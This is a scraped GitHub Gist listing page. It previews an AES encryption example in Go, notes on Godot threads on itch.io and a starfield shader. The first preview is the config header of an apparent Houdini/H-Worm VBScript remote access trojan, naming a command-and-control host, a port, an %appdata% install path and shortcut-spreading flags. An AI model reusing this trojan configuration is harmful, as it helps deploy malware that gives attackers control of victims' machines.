Skip to content

Instantly share code, notes, and snippets.

View bend-n's full-sized avatar

bendn bend-n

View GitHub Profile
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "bog5151.zapto.org"
port = 991
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
@tscholl2
tscholl2 / aes.go
Last active August 20, 2025 15:02
simple AES encryption/decryption example with PBKDF2 key derivation in Go, Javascript, and Python
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"strings"

Godot Threads on Itch.io

UPDATE

As of Feb 2023, itch.io supports SharedArrayBuffer on Firefox, so this document should be unnecessary.

Introduction

Itch.io has recently implemented the ability to use SharedArrayBuffer on its site, which means you can export games with Threads enabled for HTML5. You can learn more about this here. This is great for Godot, as it helps to improve/fix the sound laggyness that sometimes occurs in web builds. It is also now required for Godot 4.

@jtiai
jtiai / starfield.gdshader
Created September 26, 2022 20:16
Conversion of Art of Code starfield shader to Godot shader
shader_type canvas_item;
#define NUM_LAYERS 4.
mat2 rotate(float a) {
float s = sin(a), c = cos(a);
return mat2(vec2(c, -s), vec2(s, c));
}
float star(vec2 uv, float flare) {